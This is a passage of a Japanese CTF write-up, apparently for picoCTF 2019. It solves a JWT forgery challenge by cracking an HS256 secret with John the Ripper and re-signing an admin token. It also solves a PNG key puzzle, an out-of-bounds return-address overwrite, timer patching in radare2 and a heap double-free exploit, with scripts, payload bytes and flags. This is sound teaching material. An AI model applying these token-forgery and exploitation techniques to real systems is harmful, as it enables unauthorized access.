jwt: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoidGVzdCJ9.IAu_YSHppFe8hXH_BSPb4OLJYGUi8wXqXdS0T33cKbA

JWTは

{ヘッダ}.{データ}.{署名}

の形式で、ヘッダ・データはそれぞれbase64 encodeされています。
参照: JSON Web Tokens - jwt.io

まずは、ヘッダとデータをbase64 decodeしてあげます。

{"typ":"JWT","alg":"HS256"}.{"user":"test"}.****

ふむふむ。想定通りのデータが入っています。使われている署名のアルゴリズムHS256のようです。
"user"を"admin"にすり替えてbase64 encodeしてみます。

jwt: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ==.IAu_YSHppFe8hXH_BSPb4OLJYGUi8wXqXdS0T33cKbA

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoidGVzdCJ9.IAu_YSHppFe8hXH_BSPb4OLJYGUi8wXqXdS0T33cKbA

しかし、このままでは署名が通りません。ちなみにこのままjwtクッキーをdata部分のみ書き換えて送るとInternal Server Errorで落ちます…。

このjwtを通す方法を調べていると、いくつかあるようです。まずは一つ目。headerの alg"none" に書き換え、verification を通さなくする方法を試みます。noneにすると、署名をチェックしないライブラリが使われている可能性があるとのこと。

CTF: JSON Web Tokens (JWT) - Debricked

こちらのページを参考にさせていただきました。

{"typ":"JWT","alg":"none"}.{"user":"admin"}.{元の署名}

これをbase64 encodeして

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VyIjoiYWRtaW4ifQ==.IAu_YSHppFe8hXH_BSPb4OLJYGUi8wXqXdS0T33cKbA

しかしこれを送っても、残念ながらInternal Server Errorが返ってきました…。alg=noneに対応していないか、noneでも署名をチェックしているみたいです。

もう一つは、署名を作る方法。この署名を作るには鍵(secret)が必要なんですが、この鍵の解析方法がわかりません。
調べてみると、下記ページの 4. HS256 (symmetric encryption) key cracking で、secretが簡単な場合は brute-forceで alg: HS256 の場合は割と簡単に破れるとの紹介が。

Hacking JSON Web Token (JWT) - 101-writeups - Medium

しかもlocalのbrute-forceで良いので、競技環境への攻撃になっちゃう心配もしなくて良さそう!
さらに

Can use PyJWT or John Ripper for crack test

ということで John the Ripper にも触れています。さっきtopページに唐突に出てきたあれです。
さっそくライブラリを探してみます。
色々試したところ、こちらのサイトで紹介されている John the ripper のjwt対応版が8時間で刺さりました。

Attacking JWT authentication > Using John

install & 実行コマンドはそのままコピペですが下記。Kali linuxに入れて実行しました。

$ git clone https://github.com/magnumripper/JohnTheRipper
$ cd JohnTheRipper/src
$ ./configure
$ make -s clean && make -sj4
$ cd ../run
$ ./john jwt.txt

Usernameを0にしたときのjwtで試しています。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiMCJ9.QNve24m-guJrRUm6epjNR5IJ2kzNe1ds5uQnHD95Hl4

実行結果

$ ./john /root/ctf/picoCTF2019/pico.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Warning: OpenMP is disabled; a non-OpenMP build may be faster
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:./password.lst, rules:Wordlist
Proceeding with incremental:ASCII
0g 0:00:26:39  3/3 0g/s 3681Kp/s 3681Kc/s 3681KC/s jrs9lt..jrbbv4
0g 0:01:12:07  3/3 0g/s 3392Kp/s 3392Kc/s 3392KC/s m10bjurt..m10bjk71
0g 0:01:56:25  3/3 0g/s 3315Kp/s 3315Kc/s 3315KC/s 102742am7..102744b83
0g 0:04:51:04  3/3 0g/s 3255Kp/s 3255Kc/s 3255KC/s dzkeu2n..dzkeujb
ilovepico        (?)
1g 0:07:34:04 DONE 3/3 (2019-10-07 17:55) 0.000036g/s 3425Kp/s 3425Kc/s 3425KC/s ilovepint..ilovepoey
Use the "--show" option to display all of the cracked passwords reliably
Session completed

やった!このilovepicoがそれでしょうか!途中様子が気になって何度かEnter押したんですけど、解析状況と経過時間を教えてくれるので良い。

ちなみに、他にも試していました。最終的にヒントにもJohnの文字があったので最後のやつを使いましたが、jwt cracker はたくさん出ていますね。

ではこのsecretを使って署名を再構築します。JWTの扱いにはPythonでJWTを簡単に扱うライブラリ PyJWT を導入しました。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import jwt

my_jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoia3VzdXdhZGEifQ.uHEq0YYt2m_8_-rXldU6i845K1Si31-b5AZtNVnRBY0"
secret = 'ilovepico'

data = jwt.decode(my_jwt, algorithms=['HS256'], verify=False)
print('original_data: ' + repr(data))
data['user'] = 'admin'
print('admin_data: ' + repr(data))
token=jwt.encode(data, secret, "HS256")
print(token)

実行結果

$ python solve.py 
original_data: {'user': 'kusuwada'}
admin_data: {'user': 'admin'}
b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.gtqDl4jVDvNbEe_JYEZTN19Vx6X9NNZtRVbKPBkhO-s'

このjwtをcookieにセットして、リロードしてみます。

f:id:kusuwada:20191012025950p:plain

adminとして認定され、texterea部分にflagが出ました!٩(๑❛ᴗ❛๑)۶ 

[Web] Java Script Kiddie (400pt)

The image link appears broken... https://2019shell1.picoctf.com/problem/26832 or http://2019shell1.picoctf.com:26832

提示されたurlに飛んでみます。

f:id:kusuwada:20191012030016p:plain

超シンプルな作り。

ソースを見てみます。

(略)
        <script src="jquery-3.3.1.min.js"></script>
        <script>
           var bytes = [];
           $.get("bytes", function(resp) {
               bytes = Array.from(resp.split(" "), x => Number(x));
           });

           function assemble_png(u_in){
               var LEN = 16;
               var key = "0000000000000000";
               var shifter;
               if(u_in.length == LEN){
                   key = u_in;
               }
               var result = [];
               for(var i = 0; i < LEN; i++){
                   shifter = key.charCodeAt(i) - 48;
                   for(var j = 0; j < (bytes.length / LEN); j ++){
                       result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]
                   }
               }
               while(result[result.length-1] == 0){
                   result = result.slice(0,result.length-1);
               }
               document.getElementById("Area").src = "data:image/png;base64," + btoa(String.fromCharCode.apply(null, new Uint8Array(result)));
               return false;
           }
       </script>
(略)

このスクリプト部分が怪しい。なにやらPNG画像を生成して表示してくれるようです。

適当に入れると壊れたイメージっぽいアイコンが出るので、この画像のリンク先を見てみるとこんな感じ。

data:image/png;base64,O3isfIwASZ6kbT2MSa8Ozsjv3/P+Chr+/yLKEAAs69qJ/JsAzwABO07eWb6a9ZMAAFD+R2BJREUAelrJYvsKUqQAvHIUkFgKAeejQm5JAGwwAAAC58JLclTqaQ09gkSkgBBOv0peoEGlG64AnUhfNySjAQHOLhy60EQA7aTAbtHiCgBhAKQWJPgAAI8NTTxsvz2F/A1Rkm53AJztVK6j+VDx9FYA85+cU3igKr/Sfj8CjyE7hfK76wEched6u940jhprkhpLqzTHm08aOHetfb8qVp9G+jCt7BZ5NpD6Bj6+iPMNVHjBbNLesPlTrGp0+pFJ1PETP/FTC3U4zxzfvvk3WEgL6fPXWuOdsfkP/wKsbj+d8xMsiJn59fXUnAGddAeGZ15CU5p6Q9JOff/bOPG8CAha/JuxYyBLiGJgSHJJE/ogCFxaFA33pInDI90iJ8Os08looCPxTQXHY/55UhPpLmbAZGr4v9nftvx990jeZCdGfyFUvYacp2okTA1i+fp3lc35lZGQH4eemZgtx3YdZuJmPR9zliGik6hMe+5T/+uQ13l8w65SThT1/a1agXMg6u99pOpjcU2Clx8oYcdy+D6l35LPy6C1XJNY7bfW+Z7dLYNmz+chV2Oz5Qp/FQD/kda/2h6784nnmqeIeOMQ6kHfj9JTqKyQN5fZI9P9/Nv8r/CrsVJ4U8d77/PLs3v5vvGGeuYg3+GpN/4OCDURhJ1+r9eLMffPjvsRH1f5db5Zwyrt1aN/FdFxnV+7gm4yHc8Gw5M9tTnfvuz72+u3bzgnVR5/j1Om/X+/fjM7cq6yJn+3DmfMnOMrQi9+fP8i985tiZIHetv5IPVJH35uriiMIEgH/rhn6i39J+PJLH+ts/+xTiC+efvyfv9O5T+Nn+r++YNE78fO8T//az6+aH41O78X8sJnzWCEj1Q=

Base64 encodeされた文字列です。上のソースの出力っぽいです。これをbase64 decodeしても、PNGのフォーマットになっていないので壊れたアイコンが出ているようです。

ここで、ネットワークを見てみると指定ページにアクセスした時にbytesというのが降ってきています。

f:id:kusuwada:20191012030037p:plain

59 120 172 124 140 0 73 158 164 109 61 140 73 175 14 206 200 239 223 243 254 10 26 254 255 34 202 16 0 44 235 218 137 252 155 0 207 0 1 59 78 222 89 190 154 245 147 0 0 80 254 71 96 73 68 69 0 122 90 201 98 251 10 82 164 0 188 114 20 144 88 10 1 231 163 66 110 73 0 108 48 0 0 2 231 194 75 114 84 234 105 13 61 130 68 164 128 16 78 191 74 94 160 65 165 27 174 0 157 72 95 55 36 163 1 1 206 46 28 186 208 68 0 237 164 192 110 209 226 10 0 97 0 164 22 36 248 0 0 143 13 77 60 108 191 61 133 252 13 81 146 110 119 0 156 237 84 174 163 249 80 241 244 86 0 243 159 156 83 120 160 42 191 210 126 63 2 143 33 59 133 242 187 235 1 28 133 231 122 187 222 52 142 26 107 146 26 75 171 52 199 155 79 26 56 119 173 125 191 42 86 159 70 250 48 173 236 22 121 54 144 250 6 62 190 136 243 13 84 120 193 108 210 222 176 249 83 172 106 116 250 145 73 212 241 19 63 241 83 11 117 56 207 28 223 190 249 55 88 72 11 233 243 215 90 227 157 177 249 15 255 2 172 110 63 157 243 19 44 136 153 249 245 245 212 156 1 157 116 7 134 103 94 66 83 154 122 67 210 78 125 255 219 56 241 188 8 8 90 252 155 177 99 32 75 136 98 96 72 114 73 19 250 32 8 92 90 20 13 247 164 137 195 35 221 34 39 195 172 211 201 104 160 35 241 77 5 199 99 254 121 82 19 233 46 102 192 100 106 248 191 217 223 182 252 125 247 72 222 100 39 70 127 33 84 189 134 156 167 106 36 76 13 98 249 250 119 149 205 249 149 145 144 31 135 158 153 152 45 199 118 29 102 226 102 61 31 115 150 33 162 147 168 76 123 238 83 255 235 144 215 121 124 195 174 82 78 20 245 253 173 90 129 115 32 234 239 125 164 234 99 113 77 130 151 31 40 97 199 114 248 62 165 223 146 207 203 160 181 92 147 88 237 183 214 249 158 221 45 131 102 207 231 33 87 99 179 229 10 127 21 0 255 145 214 191 218 30 187 243 137 231 154 167 136 120 227 16 234 65 223 143 210 83 168 172 144 55 151 217 35 211 253 252 219 252 175 240 171 177 82 120 83 199 123 239 243 203 179 123 249 190 241 134 122 230 32 223 225 169 55 254 14 8 53 17 132 157 126 175 215 139 49 247 207 142 251 17 31 87 249 117 190 89 195 42 237 213 163 127 21 209 113 157 95 187 130 110 50 29 207 6 195 147 61 181 57 223 190 236 251 219 235 183 111 56 39 85 30 127 143 83 166 253 127 191 126 51 59 114 174 178 38 127 183 14 103 204 156 227 43 66 47 126 124 255 34 247 206 109 137 146 7 122 219 249 32 245 73 31 126 110 174 40 140 32 72 7 254 184 103 234 45 253 39 227 201 44 127 173 179 255 177 78 32 190 121 251 242 126 255 78 229 63 141 159 234 254 249 131 68 239 199 206 241 63 255 107 62 190 104 126 53 59 191 23 242 194 103 205 96 132 143 84

これで情報は揃ったようです。

再度ソースを見てみると、shifterの情報に合わせてbytesの中身を並べ替えてresultに格納しているようです。ここで、resultはそのまま出力になるので、これがPNGフォーマットにあっていればOKそう。
ここで、shifter, すなわち入力のkeyの長さは16です。なのでPNGフォーマットの先頭から16byteわかれば良いことになります。

PNGのチャンク(IHDR)

このあたりの情報を見ながら、PNGのフォーマットを確認すると、先頭16byteは固定で下記のようです。

89504E47 0D0A1A0A 0000000D 49484452

あとは、resultがこれに当たるようにshifterを求めてやります。簡易的ですがこれで通ったので下のスクリプトを貼っておきます。(shifter[i]*LEM > bytes.lengthだったときの考慮は漏れてます)

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

LEN = 16
PNG_FORMAT = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR"

bytes_arr = [59, 120, 172, 124, 140, 0, 73, 158, 164, 109, 61, 140, 73, 175, 14, 206, 200, 239, 223, 243, 254, 10, 26, 254, 255, 34, 202, 16, 0, 44, 235, 218, 137, 252, 155, 0, 207, 0, 1, 59, 78, 222, 89, 190, 154, 245, 147, 0, 0, 80, 254, 71, 96, 73, 68, 69, 0, 122, 90, 201, 98, 251, 10, 82, 164, 0, 188, 114, 20, 144, 88, 10, 1, 231, 163, 66, 110, 73, 0, 108, 48, 0, 0, 2, 231, 194, 75, 114, 84, 234, 105, 13, 61, 130, 68, 164, 128, 16, 78, 191, 74, 94, 160, 65, 165, 27, 174, 0, 157, 72, 95, 55, 36, 163, 1, 1, 206, 46, 28, 186, 208, 68, 0, 237, 164, 192, 110, 209, 226, 10, 0, 97, 0, 164, 22, 36, 248, 0, 0, 143, 13, 77, 60, 108, 191, 61, 133, 252, 13, 81, 146, 110, 119, 0, 156, 237, 84, 174, 163, 249, 80, 241, 244, 86, 0, 243, 159, 156, 83, 120, 160, 42, 191, 210, 126, 63, 2, 143, 33, 59, 133, 242, 187, 235, 1, 28, 133, 231, 122, 187, 222, 52, 142, 26, 107, 146, 26, 75, 171, 52, 199, 155, 79, 26, 56, 119, 173, 125, 191, 42, 86, 159, 70, 250, 48, 173, 236, 22, 121, 54, 144, 250, 6, 62, 190, 136, 243, 13, 84, 120, 193, 108, 210, 222, 176, 249, 83, 172, 106, 116, 250, 145, 73, 212, 241, 19, 63, 241, 83, 11, 117, 56, 207, 28, 223, 190, 249, 55, 88, 72, 11, 233, 243, 215, 90, 227, 157, 177, 249, 15, 255, 2, 172, 110, 63, 157, 243, 19, 44, 136, 153, 249, 245, 245, 212, 156, 1, 157, 116, 7, 134, 103, 94, 66, 83, 154, 122, 67, 210, 78, 125, 255, 219, 56, 241, 188, 8, 8, 90, 252, 155, 177, 99, 32, 75, 136, 98, 96, 72, 114, 73, 19, 250, 32, 8, 92, 90, 20, 13, 247, 164, 137, 195, 35, 221, 34, 39, 195, 172, 211, 201, 104, 160, 35, 241, 77, 5, 199, 99, 254, 121, 82, 19, 233, 46, 102, 192, 100, 106, 248, 191, 217, 223, 182, 252, 125, 247, 72, 222, 100, 39, 70, 127, 33, 84, 189, 134, 156, 167, 106, 36, 76, 13, 98, 249, 250, 119, 149, 205, 249, 149, 145, 144, 31, 135, 158, 153, 152, 45, 199, 118, 29, 102, 226, 102, 61, 31, 115, 150, 33, 162, 147, 168, 76, 123, 238, 83, 255, 235, 144, 215, 121, 124, 195, 174, 82, 78, 20, 245, 253, 173, 90, 129, 115, 32, 234, 239, 125, 164, 234, 99, 113, 77, 130, 151, 31, 40, 97, 199, 114, 248, 62, 165, 223, 146, 207, 203, 160, 181, 92, 147, 88, 237, 183, 214, 249, 158, 221, 45, 131, 102, 207, 231, 33, 87, 99, 179, 229, 10, 127, 21, 0, 255, 145, 214, 191, 218, 30, 187, 243, 137, 231, 154, 167, 136, 120, 227, 16, 234, 65, 223, 143, 210, 83, 168, 172, 144, 55, 151, 217, 35, 211, 253, 252, 219, 252, 175, 240, 171, 177, 82, 120, 83, 199, 123, 239, 243, 203, 179, 123, 249, 190, 241, 134, 122, 230, 32, 223, 225, 169, 55, 254, 14, 8, 53, 17, 132, 157, 126, 175, 215, 139, 49, 247, 207, 142, 251, 17, 31, 87, 249, 117, 190, 89, 195, 42, 237, 213, 163, 127, 21, 209, 113, 157, 95, 187, 130, 110, 50, 29, 207, 6, 195, 147, 61, 181, 57, 223, 190, 236, 251, 219, 235, 183, 111, 56, 39, 85, 30, 127, 143, 83, 166, 253, 127, 191, 126, 51, 59, 114, 174, 178, 38, 127, 183, 14, 103, 204, 156, 227, 43, 66, 47, 126, 124, 255, 34, 247, 206, 109, 137, 146, 7, 122, 219, 249, 32, 245, 73, 31, 126, 110, 174, 40, 140, 32, 72, 7, 254, 184, 103, 234, 45, 253, 39, 227, 201, 44, 127, 173, 179, 255, 177, 78, 32, 190, 121, 251, 242, 126, 255, 78, 229, 63, 141, 159, 234, 254, 249, 131, 68, 239, 199, 206, 241, 63, 255, 107, 62, 190, 104, 126, 53, 59, 191, 23, 242, 194, 103, 205, 96, 132, 143, 84]

print('bytes length: ' + str(len(bytes_arr)))
shifter = []
            
for n in range(LEN):
    png_format = PNG_FORMAT[n]
    for i in range(len(bytes_arr)):
        if bytes_arr[i] == png_format:
            if i % LEN == n:
                shifter.append((i-n) // LEN)
                break
key = ''
for s in shifter:
    key += chr(s+48)

print(key)

実行結果

$ python solve.py 
bytes length: 704
key: 2363911438750653

このkeyを最初のtopページに入れてみるとQRコードが!

f:id:kusuwada:20191012030059p:plain

このコードを読み込むと、flagになっていました٩(〃˙▿˙〃)۶

flag: picoCTF{4c182733af80dd49cc12d13be80d5893}

[Binary] L1im1tL355 (400pt)

Just pwn this program and get a flag. Its also found in /problems/l1im1tl355_1_688adedb3c25bf76cbb2c2a0fe7e9ac3 on the shell server. Source.

Hints

An unbounded index can point anywhere!

実行ファイルvulnソースコードvuln.cが配布されます。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define FLAG_BUFFER 128

void win() {
  char buf[FLAG_BUFFER];
  FILE *f = fopen("flag.txt","r");
  fgets(buf,FLAG_BUFFER,f);
  puts(buf);
  fflush(stdout);
}

void replaceIntegerInArrayAtIndex(unsigned int *array, int index, int value) {
   array[index] = value;
}

int main(int argc, char *argv[])
{
   int index;
   int value;
   int array[666];
   puts("Input the integer value you want to put in the array\n");
   scanf("%d",&value);
   fgetc(stdin);
   puts("Input the index in which you want to put the value\n");
   scanf("%d",&index);
   replaceIntegerInArrayAtIndex(array,index,value);
   exit(0);
}

array[666]に入れたい値とindexを入力し、これを array[index] = value; で代入するだけのプログラム。win()関数を呼び出せば、flag.txtを出力してくれそう。

ヒントの "An unbounded index can point anywhere!" より、indexを範囲外に指定してみたところ、SegFaultは発生しません。負の数を入れてもOKです。
replaceIntegerInArrayAtIndex()関数を呼び出した先で代入を行っているので、この関数の ret を win関数のアドレスで上書きすることを目指します。具体的には、array[index]retを、 valuewin_addr を指すように設定できれば良さそう。

win()関数のアドレスは

$ objdump limit -d | grep win
080485c6 <win>:

0x080485c6 = 134514118。

replaceIntegerInArrayAtIndex()関数はmainから呼ばれるため、stackはmainの上に詰まれます。なのでmainの中で宣言されるarrayから見るとreplaceIntegerInArrayAtIndex()retは上(マイナス方向)にあたります。Stackに具体的に何が入っているかは調査をするとわかるのかもしれませんが、arrayを宣言してからreplaceIntegerInArrayAtIndex()が呼ばれるまではそんなに処理がないので、いくつか試してみます。

 +------------------------------------+ 
 | ret replaceIntegerInArrayAtIndex() | array[-?]
 +------------------------------------+ 
 | ...                                | array[-n]
 +------------------------------------+ 
 | array (main)                       | array[0]
 +------------------------------------+ 
 | ...                                | 
 +------------------------------------+ 
$ ./vuln 
Input the integer value you want to put in the array

134514118
Input the index in which you want to put the value

-5
picoCTF{str1nG_CH3353_59c3cf5a}
Segmentation fault (core dumped)

[Reversing] Need For Speed (400pt)

The name of the game is speed. Are you quick enough to solve this problem and keep it above 50 mph? need-for-speed.

Youtubeに飛ばされて SPEED の映画が流れます。これは多分memeなので気にしない。
実行ファイル need_for_speed が配布されます。実行してみます。

# ./need-for-speed 
Keep this thing over 50 mph!
============================

Creating key...
Not fast enough. BOOM!

1秒くらいで最後の行が表示されて終わってしまいました。radare2で解析してみます。

$ r2 need-for-speed 
[0x000006b0]> aaaa
[Invalid instruction of 16367 bytes at 0x1cb entry0 (aa)
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Enable constraint types analysis for variables
[0x000006b0]> s main
[0x00000974]> pdf
            ;-- main:
/ (fcn) sym.main 62
|   sym.main (int argc, char **argv, char **envp);
|           ; var int local_10h @ rbp-0x10
|           ; var int local_4h @ rbp-0x4
|           ; arg int argc @ rdi
|           ; arg char **argv @ rsi
|           ; DATA XREF from entry0 (0x6cd)
|           0x00000974      55             push rbp
|           0x00000975      4889e5         mov rbp, rsp
|           0x00000978      4883ec10       sub rsp, 0x10
|           0x0000097c      897dfc         mov dword [local_4h], edi   ; argc
|           0x0000097f      488975f0       mov qword [local_10h], rsi  ; argv
|           0x00000983      b800000000     mov eax, 0
|           0x00000988      e8a5ffffff     call sym.header
|           0x0000098d      b800000000     mov eax, 0
|           0x00000992      e8e8feffff     call sym.set_timer
|           0x00000997      b800000000     mov eax, 0
|           0x0000099c      e836ffffff     call sym.get_key
|           0x000009a1      b800000000     mov eax, 0
|           0x000009a6      e85bffffff     call sym.print_flag
|           0x000009ab      b800000000     mov eax, 0
|           0x000009b0      c9             leave
\           0x000009b1      c3             ret

mainからちゃんとprint_flagが呼ばれているみたいです。が、ここに辿り着く前におそらくset_timerあたりで1秒経ったら強制終了、とかやってると思われます。この関数の呼び出しをskipしてもらいたいので、書き換えちゃいます。

これは picoCTF2018のReversing問題 be-quick-or-be-dead1 と同じ解法で解けそう。

デバッグモード(-d)で再度radare2を立ち上げ、解析します。

$ r2 -d need-for-speed 
Process with PID 4634 started...
= attach 4634 4634
bin.baddr 0x5645b7671000
Using 0x5645b7671000
asm.bits 64
[0x7fea581d8090]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Enable constraint types analysis for variables

main関数を確認、set_timer関数のアドレスを確認します。

[0x5645b7671857]> s main
[0x5645b7671974]> pdf
            ;-- main:
/ (fcn) sym.main 62
|   sym.main (int argc, char **argv, char **envp);
|           ; var int local_10h @ rbp-0x10
|           ; var int local_4h @ rbp-0x4
|           ; arg int argc @ rdi
|           ; arg char **argv @ rsi
|           ; DATA XREF from entry0 (0x5645b76716cd)
|           0x5645b7671974      55             push rbp
|           0x5645b7671975      4889e5         mov rbp, rsp
|           0x5645b7671978      4883ec10       sub rsp, 0x10
|           0x5645b767197c      897dfc         mov dword [local_4h], edi ; argc
|           0x5645b767197f      488975f0       mov qword [local_10h], rsi ; argv
|           0x5645b7671983      b800000000     mov eax, 0
|           0x5645b7671988      e8a5ffffff     call sym.header
|           0x5645b767198d      b800000000     mov eax, 0
|           0x5645b7671992      e8e8feffff     call sym.set_timer
|           0x5645b7671997      b800000000     mov eax, 0
|           0x5645b767199c      e836ffffff     call sym.get_key
|           0x5645b76719a1      b800000000     mov eax, 0
|           0x5645b76719a6      e85bffffff     call sym.print_flag
|           0x5645b76719ab      b800000000     mov eax, 0
|           0x5645b76719b0      c9             leave
\           0x5645b76719b1      c3             ret

set_timer関数のアドレスにジャンプして、命令をnop(何もしない)に書き換えます。

[0x5645b7671974]> s 0x5645b7671992
[0x5645b7671992]> wao nop
[0x5645b7671992]> pdf
            ;-- main:
/ (fcn) sym.main 62
|   sym.main (int argc, char **argv, char **envp);
|           ; var int local_10h @ rbp-0x10
|           ; var int local_4h @ rbp-0x4
|           ; arg int argc @ rdi
|           ; arg char **argv @ rsi
|           ; DATA XREF from entry0 (0x5645b76716cd)
|           0x5645b7671974      55             push rbp
|           0x5645b7671975      4889e5         mov rbp, rsp
|           0x5645b7671978      4883ec10       sub rsp, 0x10
|           0x5645b767197c      897dfc         mov dword [local_4h], edi ; argc
|           0x5645b767197f      488975f0       mov qword [local_10h], rsi ; argv
|           0x5645b7671983      b800000000     mov eax, 0
|           0x5645b7671988      e8a5ffffff     call sym.header
|           0x5645b767198d      b800000000     mov eax, 0
|           0x5645b7671992      90             nop
..
|           0x5645b7671997      b800000000     mov eax, 0
|           0x5645b767199c      e836ffffff     call sym.get_key
|           0x5645b76719a1      b800000000     mov eax, 0
|           0x5645b76719a6      e85bffffff     call sym.print_flag
|           0x5645b76719ab      b800000000     mov eax, 0
|           0x5645b76719b0      c9             leave
\           0x5645b76719b1      c3             ret

nopに書き換わっているのが確認できました。走らせてみます。

[0x5645b7671992]> dc
Finished
Printing flag:
PICOCTF{Good job keeping bus #079e482e speeding along!}

ちょっと待つとflagが出てきました!

[Binary] SecondLife (400pt)

Just pwn this program using a double free and get a flag. It's also found in /problems/secondlife_5_411726def4a5ca43c0a5cffa350b0479 on the shell server. Source.

実行ファイル vuln と、ソースコード vuln.c が配布されます。
AfterLifeの次の問題でしょうか。AfterLifeで大分手こずったので、これも手強そう。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#define FLAG_BUFFER 200
#define LINE_BUFFER_SIZE 20

void win() {
  char buf[FLAG_BUFFER];
  FILE *f = fopen("flag.txt","r");
  fgets(buf,FLAG_BUFFER,f);
  fprintf(stdout,"%s\n",buf);
  fflush(stdout);
}

int main(int argc, char *argv[])
{
   //This is rather an artificial pieace of code taken from Secure Coding in c by Robert C. Seacord 
   char *first, *second, *third, *fourth;
   char *fifth, *sixth, *seventh;
   first=malloc(256);
   printf("Oops! a new developer copy pasted and printed an address as a decimal...\n");
   printf("%d\n",first);
   fgets(first, LINE_BUFFER_SIZE, stdin);
   second=malloc(256);
   third=malloc(256);
   fourth=malloc(256);
   free(first);
   free(third);
   fifth=malloc(128);
   free(first);
   sixth=malloc(256);
   puts("You should enter the got and the shellcode address in some specific manner... an overflow will not be very useful...");
   gets(sixth);
   seventh=malloc(256);
   exit(0);
}

AfterLifeとかなり似たコードになっています。前に使われていなかったsixthが使われていたり、firstが double free されたりしている辺りが変更点のようです。
親切にも

You should enter the got and the shellcode address in some specific manner... an overflow will not be very useful...

というアドバイスが。AfterLifeもこの手順で解いたような…?

  1. 1stmallocし、その後そのアドレスを表示
  2. 先程確保した 1st に20文字ユーザー入力を代入
  3. 2nd, 3rd, 4thmalloc
  4. 1st, 3rd を free
  5. 5thmalloc(128)
  6. 1st を 再度 free (←new! double free)
  7. 6thmalloc
  8. 6thのアドレスを指定し、ユーザー入力を代入
  9. 7thmalloc
  10. exit(0)

AfterLifeの方の問題で、不要なmalloc,freeがあったのはこの問題につなげるためだったのかな。

6.の手前までの free list は、前回と同じく

[free list] after free 1st, 3rd
  (head) -> 3rd -> 1st -> (tail)
[free list] after malloc 5th
  (head) -> 1st -> (tail)

となっています。ここで、再度 1st を free すると、

[free list] after re-free 1st
  (head) -> 1st -> 1st -> 1st -> ...

となります。

この後、 6th を mallocすると、1stの領域が取得され、free list も 1st を指したままになります。
6th には自由に書き込みできるため、前回同様 6st の [Allocated chunk] の User data に書き込みを行ったつもりが、free list にいる 1st の [Freed chunk] の forward porinter, back pointer への書き込みが行われます。

あとは前回と全く同じなので、前回のスクリプトの path と 受け取る message 部分のみを書き換えたスクリプトを流してみます。

$ python solve.py 
picoCTF shell server login
[+] Connecting to 2019shell1.picoctf.com on port 22: Done
[*] Working directory: '/problems/secondlife_5_411726def4a5ca43c0a5cffa350b0479'
[*] '/root/ctf/picoCTF2019/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE
[+] Opening new channel: execve(b'./vuln', [b'./vuln', b'a'], os.environ): Done
fist_addr: 149331976
exit_addr: 134533164
win_addr: 134515030
b'shellcode: hV\x89\x04\x08\xc3'
b'payload:  \xd0\x04\x08\x10\xa0\xe6\x08hV\x89\x04\x08\xc3'
b'picoCTF{HeapHeapFlag_cd51d246}\n'

あらー、全く同じスクリプトで解けてしまった。
AfterLifeが free された後の扱い、SecondLife が free された後にまた別の領域として malloc された時の扱い(第二の人生)ってことで、タイトルがいい感じ。

[Reversing] Time's Up (400pt)

Time waits for no one. Can you solve this before time runs out? times-up, located in the directory at /problems/time-s-up_2_af1f9d8c14e16bcbe591af8b63f7e286.

上の問題 Need For Speed と同じ香りがします。
実行ファイル times-up が配布されます。まずは実行してみます。

$ ./times-up 
Challenge: (((((-1871721278) + (1054666764)) + ((-1850126378) + (-1271223232))) + (((-85717148) + (817912142)) + ((-1281893632) + (-1305915858)))) - ((((1396660971) + (-229393799)) + ((1873497336) + (2003487628))) + (((-1382082383) + (-2025204892)) + ((-363414248) - (-1646708006)))))
Setting alarm...
Solution? Alarm clock

何度か実行してみると、その都度値が変わっているので事前に計算しておくのは難しそうです。そもそも入力すら待ってくれません。

Solution? Alarm clock

とのことなので、Alarmを切ってやると良さそう。

こちらもradare2で解析してみます。

$ r2 -d times-up 
Process with PID 4756 started...
= attach 4756 4756
bin.baddr 0x55d5eee65000
Using 0x55d5eee65000
asm.bits 64
[0x7f5b2fa8f090]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Enable constraint types analysis for variables
[0x7f5b2fa8f090]> s main
[0x55d5eee65cc3]> pdf
/ (fcn) main 224
|   main (int argc, char **argv, char **envp);
|           ; var int local_4h @ rbp-0x4
|           ; DATA XREF from entry0 (0x55d5eee6594d)
|           0x55d5eee65cc3      55             push rbp
|           0x55d5eee65cc4      4889e5         mov rbp, rsp
|           0x55d5eee65cc7      4883ec10       sub rsp, 0x10
|           0x55d5eee65ccb      c745fc881300.  mov dword [local_4h], 0x1388
|           0x55d5eee65cd2      b800000000     mov eax, 0
|           0x55d5eee65cd7      e874fdffff     call sym.init_randomness
|           0x55d5eee65cdc      488d3d5d0100.  lea rdi, qword [0x55d5eee65e40] ; "Challenge: "
|           0x55d5eee65ce3      b800000000     mov eax, 0
